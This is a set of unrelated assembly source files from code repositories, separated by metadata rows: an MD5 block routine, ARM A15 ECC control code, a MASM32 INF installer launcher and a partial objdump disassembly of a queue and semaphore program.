INVOKE WriteConsoleOutputCharacter,
outHandle, ADDR buffer, BufSize,
xyPos, ADDR cellsWritten
call ReadChar
exit
main ENDP
END main | 23.609756 | 53 | 0.705579 | [
"Apache-2.0"
] | William0Friend/my_masm | ch11/WriteColors.asm | 968 | Assembly |
; Don't even think of reading this code
; It was automatically generated by md5-586.pl
; Which is a perl program used to generate the x86 assember for
; any of elf, a.out, BSDI,Win32, or Solaris
; eric <[email protected]>
;
TITLE md5-586.asm
.486
.model FLAT
_TEXT SEGMENT
PUBLIC _md5_block_x86
_md5_block_x86 PROC NEAR
push esi
push edi
mov edi, DWORD PTR 12[esp]
mov esi, DWORD PTR 16[esp]
mov ecx, DWORD PTR 20[esp]
push ebp
push ebx
add ecx, esi
sub ecx, 64
mov eax, DWORD PTR [edi]
push ecx
mov ebx, DWORD PTR 4[edi]
mov ecx, DWORD PTR 8[edi]
mov edx, DWORD PTR 12[edi]
L000start:
;
; R0 section
mov edi, ecx
mov ebp, DWORD PTR [esi]
; R0 0
xor edi, edx
and edi, ebx
lea eax, DWORD PTR 3614090360[ebp*1+eax]
mov ebp, DWORD PTR 4[esi]
xor edi, edx
add eax, edi
mov edi, ebx
rol eax, 7
add eax, ebx
; R0 1
xor edi, ecx
and edi, eax
lea edx, DWORD PTR 3905402710[ebp*1+edx]
mov ebp, DWORD PTR 8[esi]
xor edi, ecx
add edx, edi
mov edi, eax
rol edx, 12
add edx, eax
; R0 2
xor edi, ebx
and edi, edx
lea ecx, DWORD PTR 606105819[ebp*1+ecx]
mov ebp, DWORD PTR 12[esi]
xor edi, ebx
add ecx, edi
mov edi, edx
rol ecx, 17
add ecx, edx
; R0 3
xor edi, eax
and edi, ecx
lea ebx, DWORD PTR 3250441966[ebp*1+ebx]
mov ebp, DWORD PTR 16[esi]
xor edi, eax
add ebx, edi
mov edi, ecx
rol ebx, 22
add ebx, ecx
; R0 4
xor edi, edx
and edi, ebx
lea eax, DWORD PTR 4118548399[ebp*1+eax]
mov ebp, DWORD PTR 20[esi]
xor edi, edx
add eax, edi
mov edi, ebx
rol eax, 7
add eax, ebx
; R0 5
xor edi, ecx
and edi, eax
lea edx, DWORD PTR 1200080426[ebp*1+edx]
mov ebp, DWORD PTR 24[esi]
xor edi, ecx
add edx, edi
mov edi, eax
rol edx, 12
add edx, eax
; R0 6
xor edi, ebx
and edi, edx
lea ecx, DWORD PTR 2821735955[ebp*1+ecx]
mov ebp, DWORD PTR 28[esi]
xor edi, ebx
add ecx, edi
mov edi, edx
rol ecx, 17
add ecx, edx
; R0 7
xor edi, eax
and edi, ecx
lea ebx, DWORD PTR 4249261313[ebp*1+ebx]
mov ebp, DWORD PTR 32[esi]
xor edi, eax
add ebx, edi
mov edi, ecx
rol ebx, 22
add ebx, ecx
; R0 8
xor edi, edx
and edi, ebx
lea eax, DWORD PTR 1770035416[ebp*1+eax]
mov ebp, DWORD PTR 36[esi]
xor edi, edx
add eax, edi
mov edi, ebx
rol eax, 7
add eax, ebx
; R0 9
xor edi, ecx
and edi, eax
lea edx, DWORD PTR 2336552879[ebp*1+edx]
mov ebp, DWORD PTR 40[esi]
xor edi, ecx
add edx, edi
mov edi, eax
rol edx, 12
add edx, eax
; R0 10
xor edi, ebx
and edi, edx
lea ecx, DWORD PTR 4294925233[ebp*1+ecx]
mov ebp, DWORD PTR 44[esi]
xor edi, ebx
add ecx, edi
mov edi, edx
rol ecx, 17
add ecx, edx
; R0 11
xor edi, eax
and edi, ecx
lea ebx, DWORD PTR 2304563134[ebp*1+ebx]
mov ebp, DWORD PTR 48[esi]
xor edi, eax
add ebx, edi
mov edi, ecx
rol ebx, 22
add ebx, ecx
; R0 12
xor edi, edx
and edi, ebx
lea eax, DWORD PTR 1804603682[ebp*1+eax]
mov ebp, DWORD PTR 52[esi]
xor edi, edx
add eax, edi
mov edi, ebx
rol eax, 7
add eax, ebx
; R0 13
xor edi, ecx
and edi, eax
lea edx, DWORD PTR 4254626195[ebp*1+edx]
mov ebp, DWORD PTR 56[esi]
xor edi, ecx
add edx, edi
mov edi, eax
rol edx, 12
add edx, eax
; R0 14
xor edi, ebx
and edi, edx
lea ecx, DWORD PTR 2792965006[ebp*1+ecx]
mov ebp, DWORD PTR 60[esi]
xor edi, ebx
add ecx, edi
mov edi, edx
rol ecx, 17
add ecx, edx
; R0 15
xor edi, eax
and edi, ecx
lea ebx, DWORD PTR 1236535329[ebp*1+ebx]
mov ebp, DWORD PTR 4[esi]
xor edi, eax
add ebx, edi
mov edi, ecx
rol ebx, 22
add ebx, ecx
;
; R1 section
; R1 16
lea eax, DWORD PTR 4129170786[ebp*1+eax]
xor edi, ebx
and edi, edx
mov ebp, DWORD PTR 24[esi]
xor edi, ecx
add eax, edi
mov edi, ebx
rol eax, 5
add eax, ebx
; R1 17
lea edx, DWORD PTR 3225465664[ebp*1+edx]
xor edi, eax
and edi, ecx
mov ebp, DWORD PTR 44[esi]
xor edi, ebx
add edx, edi
mov edi, eax
rol edx, 9
add edx, eax
; R1 18
lea ecx, DWORD PTR 643717713[ebp*1+ecx]
xor edi, edx
and edi, ebx
mov ebp, DWORD PTR [esi]
xor edi, eax
add ecx, edi
mov edi, edx
rol ecx, 14
add ecx, edx
; R1 19
lea ebx, DWORD PTR 3921069994[ebp*1+ebx]
xor edi, ecx
and edi, eax
mov ebp, DWORD PTR 20[esi]
xor edi, edx
add ebx, edi
mov edi, ecx
rol ebx, 20
add ebx, ecx
; R1 20
lea eax, DWORD PTR 3593408605[ebp*1+eax]
xor edi, ebx
and edi, edx
mov ebp, DWORD PTR 40[esi]
xor edi, ecx
add eax, edi
mov edi, ebx
rol eax, 5
add eax, ebx
; R1 21
lea edx, DWORD PTR 38016083[ebp*1+edx]
xor edi, eax
and edi, ecx
mov ebp, DWORD PTR 60[esi]
xor edi, ebx
add edx, edi
mov edi, eax
rol edx, 9
add edx, eax
; R1 22
lea ecx, DWORD PTR 3634488961[ebp*1+ecx]
xor edi, edx
and edi, ebx
mov ebp, DWORD PTR 16[esi]
xor edi, eax
add ecx, edi
mov edi, edx
rol ecx, 14
add ecx, edx
; R1 23
lea ebx, DWORD PTR 3889429448[ebp*1+ebx]
xor edi, ecx
and edi, eax
mov ebp, DWORD PTR 36[esi]
xor edi, edx
add ebx, edi
mov edi, ecx
rol ebx, 20
add ebx, ecx
; R1 24
lea eax, DWORD PTR 568446438[ebp*1+eax]
xor edi, ebx
and edi, edx
mov ebp, DWORD PTR 56[esi]
xor edi, ecx
add eax, edi
mov edi, ebx
rol eax, 5
add eax, ebx
; R1 25
lea edx, DWORD PTR 3275163606[ebp*1+edx]
xor edi, eax
and edi, ecx
mov ebp, DWORD PTR 12[esi]
xor edi, ebx
add edx, edi
mov edi, eax
rol edx, 9
add edx, eax
; R1 26
lea ecx, DWORD PTR 4107603335[ebp*1+ecx]
xor edi, edx
and edi, ebx
mov ebp, DWORD PTR 32[esi]
xor edi, eax
add ecx, edi
mov edi, edx
rol ecx, 14
add ecx, edx
; R1 27
lea ebx, DWORD PTR 1163531501[ebp*1+ebx]
xor edi, ecx
and edi, eax
mov ebp, DWORD PTR 52[esi]
xor edi, edx
add ebx, edi
mov edi, ecx
rol ebx, 20
add ebx, ecx
; R1 28
lea eax, DWORD PTR 2850285829[ebp*1+eax]
xor edi, ebx
and edi, edx
mov ebp, DWORD PTR 8[esi]
xor edi, ecx
add eax, edi
mov edi, ebx
rol eax, 5
add eax, ebx
; R1 29
lea edx, DWORD PTR 4243563512[ebp*1+edx]
xor edi, eax
and edi, ecx
mov ebp, DWORD PTR 28[esi]
xor edi, ebx
add edx, edi
mov edi, eax
rol edx, 9
add edx, eax
; R1 30
lea ecx, DWORD PTR 1735328473[ebp*1+ecx]
xor edi, edx
and edi, ebx
mov ebp, DWORD PTR 48[esi]
xor edi, eax
add ecx, edi
mov edi, edx
rol ecx, 14
add ecx, edx
; R1 31
lea ebx, DWORD PTR 2368359562[ebp*1+ebx]
xor edi, ecx
and edi, eax
mov ebp, DWORD PTR 20[esi]
xor edi, edx
add ebx, edi
mov edi, ecx
rol ebx, 20
add ebx, ecx
;
; R2 section
; R2 32
xor edi, edx
xor edi, ebx
lea eax, DWORD PTR 4294588738[ebp*1+eax]
add eax, edi
mov ebp, DWORD PTR 32[esi]
rol eax, 4
mov edi, ebx
; R2 33
lea edx, DWORD PTR 2272392833[ebp*1+edx]
add eax, ebx
xor edi, ecx
xor edi, eax
mov ebp, DWORD PTR 44[esi]
add edx, edi
mov edi, eax
rol edx, 11
add edx, eax
; R2 34
xor edi, ebx
xor edi, edx
lea ecx, DWORD PTR 1839030562[ebp*1+ecx]
add ecx, edi
mov ebp, DWORD PTR 56[esi]
rol ecx, 16
mov edi, edx
; R2 35
lea ebx, DWORD PTR 4259657740[ebp*1+ebx]
add ecx, edx
xor edi, eax
xor edi, ecx
mov ebp, DWORD PTR 4[esi]
add ebx, edi
mov edi, ecx
rol ebx, 23
add ebx, ecx
; R2 36
xor edi, edx
xor edi, ebx
lea eax, DWORD PTR 2763975236[ebp*1+eax]
add eax, edi
mov ebp, DWORD PTR 16[esi]
rol eax, 4
mov edi, ebx
; R2 37
lea edx, DWORD PTR 1272893353[ebp*1+edx]
add eax, ebx
xor edi, ecx
xor edi, eax
mov ebp, DWORD PTR 28[esi]
add edx, edi
mov edi, eax
rol edx, 11
add edx, eax
; R2 38
xor edi, ebx
xor edi, edx
lea ecx, DWORD PTR 4139469664[ebp*1+ecx]
add ecx, edi
mov ebp, DWORD PTR 40[esi]
rol ecx, 16
mov edi, edx
; R2 39
lea ebx, DWORD PTR 3200236656[ebp*1+ebx]
add ecx, edx
xor edi, eax
xor edi, ecx
mov ebp, DWORD PTR 52[esi]
add ebx, edi
mov edi, ecx
rol ebx, 23
add ebx, ecx
; R2 40
xor edi, edx
xor edi, ebx
lea eax, DWORD PTR 681279174[ebp*1+eax]
add eax, edi
mov ebp, DWORD PTR [esi]
rol eax, 4
mov edi, ebx
; R2 41
lea edx, DWORD PTR 3936430074[ebp*1+edx]
add eax, ebx
xor edi, ecx
xor edi, eax
mov ebp, DWORD PTR 12[esi]
add edx, edi
mov edi, eax
rol edx, 11
add edx, eax
; R2 42
xor edi, ebx
xor edi, edx
lea ecx, DWORD PTR 3572445317[ebp*1+ecx]
add ecx, edi
mov ebp, DWORD PTR 24[esi]
rol ecx, 16
mov edi, edx
; R2 43
lea ebx, DWORD PTR 76029189[ebp*1+ebx]
add ecx, edx
xor edi, eax
xor edi, ecx
mov ebp, DWORD PTR 36[esi]
add ebx, edi
mov edi, ecx
rol ebx, 23
add ebx, ecx
; R2 44
xor edi, edx
xor edi, ebx
lea eax, DWORD PTR 3654602809[ebp*1+eax]
add eax, edi
mov ebp, DWORD PTR 48[esi]
rol eax, 4
mov edi, ebx
; R2 45
lea edx, DWORD PTR 3873151461[ebp*1+edx]
add eax, ebx
xor edi, ecx
xor edi, eax
mov ebp, DWORD PTR 60[esi]
add edx, edi
mov edi, eax
rol edx, 11
add edx, eax
; R2 46
xor edi, ebx
xor edi, edx
lea ecx, DWORD PTR 530742520[ebp*1+ecx]
add ecx, edi
mov ebp, DWORD PTR 8[esi]
rol ecx, 16
mov edi, edx
; R2 47
lea ebx, DWORD PTR 3299628645[ebp*1+ebx]
add ecx, edx
xor edi, eax
xor edi, ecx
mov ebp, DWORD PTR [esi]
add ebx, edi
mov edi, -1
rol ebx, 23
add ebx, ecx
;
; R3 section
; R3 48
xor edi, edx
or edi, ebx
lea eax, DWORD PTR 4096336452[ebp*1+eax]
xor edi, ecx
mov ebp, DWORD PTR 28[esi]
add eax, edi
mov edi, -1
rol eax, 6
xor edi, ecx
add eax, ebx
; R3 49
or edi, eax
lea edx, DWORD PTR 1126891415[ebp*1+edx]
xor edi, ebx
mov ebp, DWORD PTR 56[esi]
add edx, edi
mov edi, -1
rol edx, 10
xor edi, ebx
add edx, eax
; R3 50
or edi, edx
lea ecx, DWORD PTR 2878612391[ebp*1+ecx]
xor edi, eax
mov ebp, DWORD PTR 20[esi]
add ecx, edi
mov edi, -1
rol ecx, 15
xor edi, eax
add ecx, edx
; R3 51
or edi, ecx
lea ebx, DWORD PTR 4237533241[ebp*1+ebx]
xor edi, edx
mov ebp, DWORD PTR 48[esi]
add ebx, edi
mov edi, -1
rol ebx, 21
xor edi, edx
add ebx, ecx
; R3 52
or edi, ebx
lea eax, DWORD PTR 1700485571[ebp*1+eax]
xor edi, ecx
mov ebp, DWORD PTR 12[esi]
add eax, edi
mov edi, -1
rol eax, 6
xor edi, ecx
add eax, ebx
; R3 53
or edi, eax
lea edx, DWORD PTR 2399980690[ebp*1+edx]
xor edi, ebx
mov ebp, DWORD PTR 40[esi]
add edx, edi
mov edi, -1
rol edx, 10
xor edi, ebx
add edx, eax
; R3 54
or edi, edx
lea ecx, DWORD PTR 4293915773[ebp*1+ecx]
xor edi, eax
mov ebp, DWORD PTR 4[esi]
add ecx, edi
mov edi, -1
rol ecx, 15
xor edi, eax
add ecx, edx
; R3 55
or edi, ecx
lea ebx, DWORD PTR 2240044497[ebp*1+ebx]
xor edi, edx
mov ebp, DWORD PTR 32[esi]
add ebx, edi
mov edi, -1
rol ebx, 21
xor edi, edx
add ebx, ecx
; R3 56
or edi, ebx
lea eax, DWORD PTR 1873313359[ebp*1+eax]
xor edi, ecx
mov ebp, DWORD PTR 60[esi]
add eax, edi
mov edi, -1
rol eax, 6
xor edi, ecx
add eax, ebx
; R3 57
or edi, eax
lea edx, DWORD PTR 4264355552[ebp*1+edx]
xor edi, ebx
mov ebp, DWORD PTR 24[esi]
add edx, edi
mov edi, -1
rol edx, 10
xor edi, ebx
add edx, eax
; R3 58
or edi, edx
lea ecx, DWORD PTR 2734768916[ebp*1+ecx]
xor edi, eax
mov ebp, DWORD PTR 52[esi]
add ecx, edi
mov edi, -1
rol ecx, 15
xor edi, eax
add ecx, edx
; R3 59
or edi, ecx
lea ebx, DWORD PTR 1309151649[ebp*1+ebx]
xor edi, edx
mov ebp, DWORD PTR 16[esi]
add ebx, edi
mov edi, -1
rol ebx, 21
xor edi, edx
add ebx, ecx
; R3 60
or edi, ebx
lea eax, DWORD PTR 4149444226[ebp*1+eax]
xor edi, ecx
mov ebp, DWORD PTR 44[esi]
add eax, edi
mov edi, -1
rol eax, 6
xor edi, ecx
add eax, ebx
; R3 61
or edi, eax
lea edx, DWORD PTR 3174756917[ebp*1+edx]
xor edi, ebx
mov ebp, DWORD PTR 8[esi]
add edx, edi
mov edi, -1
rol edx, 10
xor edi, ebx
add edx, eax
; R3 62
or edi, edx
lea ecx, DWORD PTR 718787259[ebp*1+ecx]
xor edi, eax
mov ebp, DWORD PTR 36[esi]
add ecx, edi
mov edi, -1
rol ecx, 15
xor edi, eax
add ecx, edx
; R3 63
or edi, ecx
lea ebx, DWORD PTR 3951481745[ebp*1+ebx]
xor edi, edx
mov ebp, DWORD PTR 24[esp]
add ebx, edi
add esi, 64
rol ebx, 21
mov edi, DWORD PTR [ebp]
add ebx, ecx
add eax, edi
mov edi, DWORD PTR 4[ebp]
add ebx, edi
mov edi, DWORD PTR 8[ebp]
add ecx, edi
mov edi, DWORD PTR 12[ebp]
add edx, edi
mov DWORD PTR [ebp],eax
mov DWORD PTR 4[ebp],ebx
mov edi, DWORD PTR [esp]
mov DWORD PTR 8[ebp],ecx
mov DWORD PTR 12[ebp],edx
cmp edi, esi
jge L000start
pop eax
pop ebx
pop ebp
pop edi
pop esi
ret
_md5_block_x86 ENDP
_TEXT ENDS
END
| 18.443959 | 64 | 0.62789 | [
"MIT",
"Unlicense"
] | ab300819/applied-cryptography | cryptl30/hash/m-win32.asm | 12,671 | Assembly |
@
@ Copyright (c) 2016, Texas Instruments Incorporated
@
@ Redistribution and use in source and binary forms, with or without
@ modification, are permitted provided that the following conditions
@ are met:
@
@ * Redistributions of source code must retain the above copyright
@ notice, this list of conditions and the following disclaimer.
@
@ * Redistributions in binary form must reproduce the above copyright
@ notice, this list of conditions and the following disclaimer in the
@ documentation and/or other materials provided with the distribution.
@
@ * Neither the name of Texas Instruments Incorporated nor the names of
@ its contributors may be used to endorse or promote products derived
@ from this software without specific prior written permission.
@
@ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
@ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
@ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
@ PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
@ CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
@ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
@ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
@ OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
@ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
@ OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
@ EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
@;*******************************************************************************
@;
@; ecc_a15_gcc.asm - A15 ECC assembly code
@;
@;****************************** Global Symbols *********************************
.global ECCA15EnableASM
.global ECCA15DisableASM
.global ECCA15GetEccErrStatusASM
@;******************************* Code Section **********************************
@;================ ECCA15EnableASM ================
.text
.func ECCA15EnableASM
ECCA15EnableASM:
mrc p15, #1, r0, c9, c0, #2 @ Read L2 Control Register
orr r0, r0, #0x200000 @ Enable ECC and Parity for A15
push {r1-r12, lr} @ Save registers - ROM code may pollute
@ our registers
ldr r12, =0x105 @ Set L2 control register - value in R0
smc 0x1 @ Call ROM Code API to set control register
pop {r1-r12, pc} @ Restore registers
.endfunc
@;================ ECCA15DisableASM ================
.text
.func ECCA15DisableASM
ECCA15DisableASM:
mrc p15, #1, r0, c9, c0, #2 @ Read L2 Control Register
and r0, r0, #0xffdfffff @ Disable ECC and Parity for A15
push {r1-r12, lr} @ Save registers - ROM code may pollute
@ our registers
ldr r12, =0x105 @ Set L2 control register - value in R0
smc 0x1 @ Call ROM Code API to set control register
pop {r1-r12, pc} @ Restore registers
.endfunc
@;================ ECCA15GetErrStatusASM ================
.text
.func ECCA15GetEccErrStatusASM
ECCA15GetEccErrStatusASM:
mrc p15, #0, r0, c5, c1, #0 @ Read Auxiliary Data Fault Status Register
.endfunc
| 44.74026 | 81 | 0.601742 | [
"MIT"
] | brandonbraun653/Apollo | lib/am335x_sdk/ti/csl/arch/a15/V1/ecc_a15_gcc.asm | 3,445 | Assembly |
; #########################################################################
.386
.model flat, stdcall
option casemap :none ; case sensitive
; #########################################################################
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\masm32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
include \masm32\include\user32.inc
; #########################################################################
.const
MAXSIZE equ 260 ; Max buffer size
.data
szAction db 'install', 0 ; Action
szFilename db 'tks_infl.ini', 0 ; Name of INI file
szAppName db 'Setup', 0 ; Section Name
szKeyName db 'INF', 0 ; Key name
szOpen db 'Open', 0 ; Open Dialog Title
szFilter db 'INF Files',0,'*.inf',0,0
hFile dd 0 ; File Handle
hInst dd 0 ; Program Instance
ofn OPENFILENAME <> ; OFN Structure
.data?
szBuffer db MAXSIZE dup (?) ; Name of INF file
szAppPath db MAXSIZE dup (?) ; Application Path
.code
start:
;=====================
; Get program instance
;=====================
invoke GetModuleHandle, NULL
mov hInst, eax
;=====================
; Get our command line
;=====================
;* Advanced INF Installer keeps
;* saying it can not find the file.
invoke ArgCl, 1, addr szBuffer
;=========================
; Check if our file exists
;=========================
invoke CreateFile, addr szBuffer, GENERIC_READ, FILE_SHARE_READ, NULL,\
OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL
mov hFile, eax
.if eax == INVALID_HANDLE_VALUE
invoke CloseHandle, hFile
;=======================================
; Combine application path with INI file
;=======================================
mov byte ptr[szBuffer],0
invoke GetAppPath, addr szAppPath
invoke lstrcat, addr szBuffer, addr szAppPath
invoke lstrcat, addr szBuffer, addr szFilename
;==============
; Read INI file
;==============
invoke GetPrivateProfileString, addr szAppName, addr szKeyName, addr szFilename,
addr szBuffer, MAXSIZE, addr szBuffer
;=========================
; Check if our file exists
;=========================
invoke CreateFile, addr szBuffer, GENERIC_READ, FILE_SHARE_READ, NULL,\
OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL
mov hFile, eax
.if eax == INVALID_HANDLE_VALUE
invoke CloseHandle, hFile
;===================================================
; Check if the user wants to run a diffrent INF file
;===================================================
mov byte ptr[szBuffer],0
mov ofn.lStructSize, sizeof ofn
push hInst
pop ofn.hWndOwner
push hInst
pop ofn.hInstance
mov ofn.lpstrFilter, offset szFilter
mov ofn.lpstrFile, offset szBuffer
mov ofn.nMaxFile, MAXSIZE
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or\
OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
mov ofn.lpstrTitle, offset szOpen
invoke GetOpenFileName, addr ofn
;=================
; No file selected
;=================
.if eax == FALSE
jmp exit
.endif
.endif
.endif
;==========================
; Run our Installation File
;==========================
invoke ShellExecuteA, 0, addr szAction, addr szBuffer, 0, 0, 0
;=================
; Exit our program
;=================
exit:
invoke ExitProcess, 0
end start
| 33.446154 | 88 | 0.462511 | [
"MIT"
] | dindoliboon/archive | asm/masm32/infl/tks_infl.asm | 4,348 | Assembly |
_h2o: file format elf32-i386
Disassembly of section .text:
00001000 <init_qs>:
void init_qs(struct queues *);
void add_qs(struct queues *, int);
int empty_qs(struct queues *);
int pop_qs(struct queues *);
void init_qs(struct queues *q){
1000: 55 push %ebp
1001: 89 e5 mov %esp,%ebp
q->sizes = 0;
1003: 8b 45 08 mov 0x8(%ebp),%eax
1006: c7 00 00 00 00 00 movl $0x0,(%eax)
q->heads = 0;
100c: 8b 45 08 mov 0x8(%ebp),%eax
100f: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tails = 0;
1016: 8b 45 08 mov 0x8(%ebp),%eax
1019: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
1020: 5d pop %ebp
1021: c3 ret
00001022 <add_qs>:
void add_qs(struct queues *q, int v){
1022: 55 push %ebp
1023: 89 e5 mov %esp,%ebp
1025: 83 ec 28 sub $0x28,%esp
struct nodes * n = malloc(sizeof(struct nodes));
1028: c7 04 24 08 00 00 00 movl $0x8,(%esp)
102f: e8 99 12 00 00 call 22cd <malloc>
1034: 89 45 f4 mov %eax,-0xc(%ebp)
n->nexts = 0;
1037: 8b 45 f4 mov -0xc(%ebp),%eax
103a: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
n->values = v;
1041: 8b 45 f4 mov -0xc(%ebp),%eax
1044: 8b 55 0c mov 0xc(%ebp),%edx
1047: 89 10 mov %edx,(%eax)
if(q->heads == 0){
1049: 8b 45 08 mov 0x8(%ebp),%eax
104c: 8b 40 04 mov 0x4(%eax),%eax
104f: 85 c0 test %eax,%eax
1051: 75 0b jne 105e <add_qs+0x3c>
q->heads = n;
1053: 8b 45 08 mov 0x8(%ebp),%eax
1056: 8b 55 f4 mov -0xc(%ebp),%edx
1059: 89 50 04 mov %edx,0x4(%eax)
105c: eb 0c jmp 106a <add_qs+0x48>
}else{
q->tails->nexts = n;
105e: 8b 45 08 mov 0x8(%ebp),%eax
1061: 8b 40 08 mov 0x8(%eax),%eax
1064: 8b 55 f4 mov -0xc(%ebp),%edx
1067: 89 50 04 mov %edx,0x4(%eax)
}
q->tails = n;
106a: 8b 45 08 mov 0x8(%ebp),%eax
106d: 8b 55 f4 mov -0xc(%ebp),%edx
1070: 89 50 08 mov %edx,0x8(%eax)
q->sizes++;
1073: 8b 45 08 mov 0x8(%ebp),%eax
1076: 8b 00 mov (%eax),%eax
1078: 8d 50 01 lea 0x1(%eax),%edx
107b: 8b 45 08 mov 0x8(%ebp),%eax
107e: 89 10 mov %edx,(%eax)
}
1080: c9 leave
1081: c3 ret
00001082 <empty_qs>:
int empty_qs(struct queues *q){
1082: 55 push %ebp
1083: 89 e5 mov %esp,%ebp
if(q->sizes == 0)
1085: 8b 45 08 mov 0x8(%ebp),%eax
1088: 8b 00 mov (%eax),%eax
108a: 85 c0 test %eax,%eax
108c: 75 07 jne 1095 <empty_qs+0x13>
return 1;
108e: b8 01 00 00 00 mov $0x1,%eax
1093: eb 05 jmp 109a <empty_qs+0x18>
else
return 0;
1095: b8 00 00 00 00 mov $0x0,%eax
}
109a: 5d pop %ebp
109b: c3 ret
0000109c <pop_qs>:
int pop_qs(struct queues *q){
109c: 55 push %ebp
109d: 89 e5 mov %esp,%ebp
109f: 83 ec 28 sub $0x28,%esp
int val;
struct nodes *destroy;
if(!empty_qs(q)){
10a2: 8b 45 08 mov 0x8(%ebp),%eax
10a5: 89 04 24 mov %eax,(%esp)
10a8: e8 d5 ff ff ff call 1082 <empty_qs>
10ad: 85 c0 test %eax,%eax
10af: 75 5d jne 110e <pop_qs+0x72>
val = q->heads->values;
10b1: 8b 45 08 mov 0x8(%ebp),%eax
10b4: 8b 40 04 mov 0x4(%eax),%eax
10b7: 8b 00 mov (%eax),%eax
10b9: 89 45 f4 mov %eax,-0xc(%ebp)
destroy = q->heads;
10bc: 8b 45 08 mov 0x8(%ebp),%eax
10bf: 8b 40 04 mov 0x4(%eax),%eax
10c2: 89 45 f0 mov %eax,-0x10(%ebp)
q->heads = q->heads->nexts;
10c5: 8b 45 08 mov 0x8(%ebp),%eax
10c8: 8b 40 04 mov 0x4(%eax),%eax
10cb: 8b 50 04 mov 0x4(%eax),%edx
10ce: 8b 45 08 mov 0x8(%ebp),%eax
10d1: 89 50 04 mov %edx,0x4(%eax)
free(destroy);
10d4: 8b 45 f0 mov -0x10(%ebp),%eax
10d7: 89 04 24 mov %eax,(%esp)
10da: e8 b5 10 00 00 call 2194 <free>
q->sizes--;
10df: 8b 45 08 mov 0x8(%ebp),%eax
10e2: 8b 00 mov (%eax),%eax
10e4: 8d 50 ff lea -0x1(%eax),%edx
10e7: 8b 45 08 mov 0x8(%ebp),%eax
10ea: 89 10 mov %edx,(%eax)
if(q->sizes == 0){
10ec: 8b 45 08 mov 0x8(%ebp),%eax
10ef: 8b 00 mov (%eax),%eax
10f1: 85 c0 test %eax,%eax
10f3: 75 14 jne 1109 <pop_qs+0x6d>
q->heads = 0;
10f5: 8b 45 08 mov 0x8(%ebp),%eax
10f8: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tails = 0;
10ff: 8b 45 08 mov 0x8(%ebp),%eax
1102: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
return val;
1109: 8b 45 f4 mov -0xc(%ebp),%eax
110c: eb 05 jmp 1113 <pop_qs+0x77>
}
return -1;
110e: b8 ff ff ff ff mov $0xffffffff,%eax
}
1113: c9 leave
1114: c3 ret
00001115 <sem_init>:
lock_t lock;
struct queues pRobyn;
};
//Initialize Semaphore
void sem_init(struct Semaphore *s, int c){
1115: 55 push %ebp
1116: 89 e5 mov %esp,%ebp
1118: 83 ec 18 sub $0x18,%esp
s->count = c;
111b: 8b 45 08 mov 0x8(%ebp),%eax
111e: 8b 55 0c mov 0xc(%ebp),%edx
1121: 89 10 mov %edx,(%eax)
s->maxCount = c;
1123: 8b 45 08 mov 0x8(%ebp),%eax
1126: 8b 55 0c mov 0xc(%ebp),%edx
1129: 89 50 04 mov %edx,0x4(%eax)
init_qs(&(s->pRobyn));
112c: 8b 45 08 mov 0x8(%ebp),%eax
112f: 83 c0 0c add $0xc,%eax
1132: 89 04 24 mov %eax,(%esp)
1135: e8 c6 fe ff ff call 1000 <init_qs>
lock_init(&s->lock);
113a: 8b 45 08 mov 0x8(%ebp),%eax
113d: 83 c0 08 add $0x8,%eax
1140: 89 04 24 mov %eax,(%esp)
1143: e8 82 12 00 00 call 23ca <lock_init>
}
1148: c9 leave
1149: c3 ret
0000114a <sem_acquire>:
//Acquire Semaphore
void sem_acquire(struct Semaphore *s){
114a: 55 push %ebp
114b: 89 e5 mov %esp,%ebp
114d: 83 ec 18 sub $0x18,%esp
if(s->count > 0){
1150: 8b 45 08 mov 0x8(%ebp),%eax
1153: 8b 00 mov (%eax),%eax
1155: 85 c0 test %eax,%eax
1157: 7e 2b jle 1184 <sem_acquire+0x3a>
lock_acquire(&s->lock);
1159: 8b 45 08 mov 0x8(%ebp),%eax
115c: 83 c0 08 add $0x8,%eax
115f: 89 04 24 mov %eax,(%esp)
1162: e8 71 12 00 00 call 23d8 <lock_acquire>
s->count--;
1167: 8b 45 08 mov 0x8(%ebp),%eax
116a: 8b 00 mov (%eax),%eax
116c: 8d 50 ff lea -0x1(%eax),%edx
116f: 8b 45 08 mov 0x8(%ebp),%eax
1172: 89 10 mov %edx,(%eax)
lock_release(&s->lock);
1174: 8b 45 08 mov 0x8(%ebp),%eax
1177: 83 c0 08 add $0x8,%eax
117a: 89 04 24 mov %eax,(%esp)
117d: e8 76 12 00 00 call 23f8 <lock_release>
1182: eb 43 jmp 11c7 <sem_acquire+0x7d>
}
else{
lock_acquire(&s->lock);
1184: 8b 45 08 mov 0x8(%ebp),%eax
1187: 83 c0 08 add $0x8,%eax
118a: 89 04 24 mov %eax,(%esp)
